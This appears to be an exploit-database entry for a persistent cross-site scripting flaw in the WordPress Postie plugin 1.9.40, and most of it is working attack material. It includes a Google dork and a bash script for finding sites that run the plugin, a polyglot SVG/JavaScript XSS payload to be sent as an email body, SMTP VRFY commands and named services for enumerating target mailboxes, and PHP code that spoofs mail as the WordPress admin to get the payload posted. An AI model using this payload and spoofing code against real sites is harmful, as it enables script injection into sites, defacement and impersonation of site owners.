WordPress Postie 1.9.40 Cross Site Scripting

                							

                # Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting
# Google Dork: inurl:/wp-content/plugins/postie/readme.txt
# Date: 2020-01-15
# Exploit Author: V1n1v131r4
# Vendor Homepage: https://postieplugin.com/
# Software Link: https://wordpress.org/plugins/postie/#developers
# Version: <=1.9.40
# Tested on: Linux
# CVE : CVE-2019-20203, CVE-2019-20204

## Identifying WordPress Postie Plugin installation

#!/bin/bash                                                                                                                                                                                                                                     if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then                                                                                                                    echo ""                                                                                                                 echo "Postie installed!"                                                                                        else                                                                                                                            echo ""                                                                                                                 echo "Postie seems not to be installed"                                                                         fi  

## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)

# the syntax below should go as email body

jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>

## Email to post on Postie

- Identifying the mail server

  dig domain.com mx

- enumerating accounts via SMTP

  telnet domain.com 587
  EHLO buddy
  mail from:<sender@example.io>
  rcpt to:<user@domain.com>
  vrfy user@domain.com


- listing accounts via third party software

  You can use these third party software and APIs to enumerate target email users:
  - https://www.zerobounce.net
  - https://tools.verifyemailaddress.io/
  - https://hunter.io/email-verifier



## Spoofing with PHPMailer


<?php

  /* CONFIGURE PHP IF NEEDED */
  // ini_set("sendmail_from","$fromFull");
  // ini_set("SMTP","mail.domain.com");
  // ini_set('smtp_port',587);
  // ini_set('username',"user");
  // ini_set('password',"pass");


  // COMPOSE
  $to      = 'postie@domain.com';
  $subject = 'Title of your post';
  $message = 'You've been hacked :-)';
  

  // BASIC HEADER
  $headers = 'From: wordpress.admin@domain.com' . "\r\n" .
               'Reply-To: wordpress.admin@domain.com' . "\r\n" .
           'X-Mailer: PHP/' . phpversion();
  
  
  // SEND AND SHOW MESSAGE
  if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
  else echo '<h1>Something went wrong...</h1>';
  

  // FULL HEADER
  // $headers  = "From: testsite < mail@testsite.com >\n";
  // $headers .= "Cc: testsite < mail@testsite.com >\n"; 
  // $headers .= "X-Sender: testsite < mail@testsite.com >\n";
  // $headers .= 'X-Mailer: PHP/' . phpversion();
  // $headers .= "X-Priority: 1\n";
  // $headers .= "Return-Path: mail@testsite.com\n";
  // $headers .= "MIME-Version: 1.0\r\n";
  // $headers .= "Content-Type: text/html; charset=iso-8859-1\n";

    ?>
<p>